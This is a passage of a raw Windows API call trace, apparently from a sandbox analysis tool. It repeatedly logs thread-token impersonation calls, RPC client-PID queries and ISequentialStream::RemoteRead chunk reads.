returned 1 [0147.535] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x52, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.536] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.536] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.537] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.537] GetCurrentThread () returned 0xfffffffffffffffe [0147.537] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.537] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.537] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.538] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.538] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.538] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.539] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.539] GetCurrentThread () returned 0xfffffffffffffffe [0147.539] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.539] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.539] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.539] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.539] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.539] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.540] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.540] GetCurrentThread () returned 0xfffffffffffffffe [0147.540] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.540] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.540] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.540] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.541] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.541] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.541] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.542] GetCurrentThread () returned 0xfffffffffffffffe [0147.542] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.542] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.542] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.542] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x78, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.542] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.542] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.543] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.543] GetCurrentThread () returned 0xfffffffffffffffe [0147.543] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.543] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.543] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.543] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x68, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.543] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.543] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.545] GetCurrentThread () returned 0xfffffffffffffffe [0147.545] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.545] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.545] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.545] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.546] GetCurrentThread () returned 0xfffffffffffffffe [0147.546] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.546] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.546] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.546] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x63, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.547] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.547] GetCurrentThread () returned 0xfffffffffffffffe [0147.547] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.547] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.547] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.548] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.548] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.548] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.549] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.549] GetCurrentThread () returned 0xfffffffffffffffe [0147.549] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.549] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.549] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.549] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x62, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.549] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.550] GetCurrentThread () returned 0xfffffffffffffffe [0147.550] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.550] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.551] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.551] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.552] GetCurrentThread () returned 0xfffffffffffffffe [0147.552] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.552] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.552] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.552] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.554] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.554] GetCurrentThread () returned 0xfffffffffffffffe [0147.554] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.554] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.554] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.554] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.554] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.554] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.555] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.555] GetCurrentThread () returned 0xfffffffffffffffe [0147.555] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.555] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.555] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.556] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.557] GetCurrentThread () returned 0xfffffffffffffffe [0147.557] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.557] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.557] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.557] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.558] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.558] GetCurrentThread () returned 0xfffffffffffffffe [0147.558] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.558] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.559] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.559] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x74, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.559] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.559] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.560] GetCurrentThread () returned 0xfffffffffffffffe [0147.560] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.560] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.560] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.560] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.561] GetCurrentThread () returned 0xfffffffffffffffe [0147.561] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.561] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.561] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.561] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.561] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.562] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.562] GetCurrentThread () returned 0xfffffffffffffffe [0147.562] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.563] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.563] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.563] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.563] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.563] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.564] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.564] GetCurrentThread () returned 0xfffffffffffffffe [0147.564] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.564] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.564] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.564] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x72, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.564] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.564] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.565] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.565] GetCurrentThread () returned 0xfffffffffffffffe [0147.565] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.565] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.565] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.565] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.566] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.566] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.567] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.567] GetCurrentThread () returned 0xfffffffffffffffe [0147.567] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.567] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.567] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.567] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.567] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.567] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.580] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.580] GetCurrentThread () returned 0xfffffffffffffffe [0147.580] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.580] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.580] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.580] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.580] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.581] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.581] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.581] GetCurrentThread () returned 0xfffffffffffffffe [0147.582] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.582] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.582] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.582] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.582] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.582] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.583] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.583] GetCurrentThread () returned 0xfffffffffffffffe [0147.583] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.583] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.583] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.583] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x88, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.583] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.584] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.584] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.584] GetCurrentThread () returned 0xfffffffffffffffe [0147.584] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.585] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.585] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.585] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x97, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.585] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.585] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.586] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.586] GetCurrentThread () returned 0xfffffffffffffffe [0147.586] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.586] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.586] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.586] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.587] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.588] GetCurrentThread () returned 0xfffffffffffffffe [0147.588] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.588] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.588] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.588] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.588] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.588] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.589] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.589] GetCurrentThread () returned 0xfffffffffffffffe [0147.589] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.589] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.589] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.589] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x62, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.589] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.589] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.590] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.590] GetCurrentThread () returned 0xfffffffffffffffe [0147.590] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.590] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.590] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.590] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x64, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.591] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.591] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.592] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.592] GetCurrentThread () returned 0xfffffffffffffffe [0147.592] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.592] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.592] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.592] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.592] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.593] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.593] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.593] GetCurrentThread () returned 0xfffffffffffffffe [0147.593] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.594] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.594] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.594] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.594] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.594] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.595] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.595] GetCurrentThread () returned 0xfffffffffffffffe [0147.595] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.595] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.595] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.595] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.595] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.595] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.596] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.596] GetCurrentThread () returned 0xfffffffffffffffe [0147.596] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.596] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.596] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.596] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.596] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.596] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.597] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.597] GetCurrentThread () returned 0xfffffffffffffffe [0147.597] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.597] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.597] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.597] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.598] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.598] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.599] 